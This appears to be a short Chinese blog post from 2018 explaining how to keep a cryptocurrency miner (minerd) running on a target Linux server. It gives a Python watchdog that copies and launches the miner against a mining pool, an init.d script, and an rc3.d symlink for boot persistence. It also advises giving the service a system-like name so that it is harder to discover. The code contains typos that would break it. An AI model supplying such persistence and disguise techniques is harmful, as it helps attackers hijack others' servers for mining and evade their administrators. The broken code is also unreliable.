linux Service start

1. crontab的方式
2. 服务的方式。该服务能够持续监测minerd是否在运行,如果没有在运行就会运行minerd;服务也可以做成开机自启动。该服务执行的内容如下,该服务是判断目标服务器的path环境变量配置的目录是否有minerd,如果存在则不处理,如果不存在可以将其他文件夹下的minerd复制到该目录下,然后判断minerd程序是否在执行,如果没有执行则运行挖矿程序:

# -*- coding=utf8 -*-
import os
import commands
if(os.path.exists("/usr/bin/minerd")):
  print ("minerd exists....")
else:
  os.system("cp /usr/local/etc/minerd /usr/bin")
  output = commands.getouput("ps -ef | grep moinerd")
  if(output.count("minerd")>2):
    print("minerd is running....")
  else:
   os.system("minerd -0 stratum+tcp://ssxx")  
我们可以将该服务名设置为与系统服务相似的名称,达到混淆的目的,增大该服务的发现难度,这里我简单命名为sysservice。接着在/etc/init.d/下创建一个sysservice同名的文件,因为sysservice作为服务启动、停止、重启都会调用这里的内容,文件内容如下:

#! /bin/sh
### init info
set -e
case "$1" in
             start)
                  nohup /usr/local/bin/sysservice &
                  ;;
             stop)
                 pkill sysservice
                 ;;
             restart)
                 pkill sysservice
                 nohup /usr/local/bin/sysservice &
                 ;;
esac
exit 0
                 
还差最后一步,做到开机启动,需要在/etc/rc3.d目录中新建一个链接文件指向sysservice(ln -sf/etc/init.d/sysservice S22sysservice,其中22表示服务的优先级,数字越小,启动的优先级越高),因为该目录是系统启动时自动搜索的目录,该目录下的符号连接文件的目标文件都将被运行。这样即使目标服务器重启也能启动sysservice,从而启动挖矿程序,

posted on 2018-01-09 13:42  szllq2000  阅读(206)  评论(0编辑  收藏  举报